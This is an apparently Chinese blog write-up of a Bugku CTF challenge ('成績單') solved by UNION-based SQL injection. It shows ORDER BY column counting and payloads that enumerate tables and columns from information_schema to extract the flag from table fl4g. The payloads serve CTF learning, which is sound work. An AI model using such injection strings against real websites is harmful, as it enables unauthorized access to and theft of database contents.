CTF之Bugku 成績單

這道題很久之前就看到過了,現在才弄明白。。。
這麼輸入有回顯
在這裏插入圖片描述

在這裏插入圖片描述
這麼輸入就沒有了,爲什麼呢
當我們用查詢語句

select * from emp
order by x

假如emp這個表的字段有10個,那麼x的值就只能是1-10
如果超過10,就不回顯
所以說明顯示只有4列,並沒有隱藏什麼

接下來就是爆庫、爆表、包字段了
在這裏插入圖片描述
數據庫叫skctf_flag,database()函數可以返回當前的數據庫名
然後爆表

' union select 1,group_concat(TABLE_NAME),3,4 from information_schema.TABLES 
where TABLE_SCHEMA='skctf_flag'#

在這裏插入圖片描述
解釋一下,我們用的數據庫除了我們存放的信息,還有數據庫(mysql、oracle)自帶的庫,叫information_schema庫,裏面有一些自帶的表,如上面用到的TABLES表,有兩個字段,一個叫TABLE_NAME,一個叫TABLE_SCHEMA,分別存放表名和這個表所屬的庫。

group_concat()函數功能是把一列的內容全部輸出,像我們爆表的時候就爆了兩個還有個叫sc的表

詳細可以看看這個博客寫的東西
https://blog.csdn.net/kikajack/article/details/80065753

現在爆出表,叫fl4g,爆字段

' union select 1,group_concat(COLUMN_NAME),3,4 from information_schema.COLUMNS 
where TABLE_NAME='fl4g'#

在這裏插入圖片描述名字竟然一樣。。爆數據

' union select 1,skctf_flag,3,4 from fl4g#

在這裏插入圖片描述
完結

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章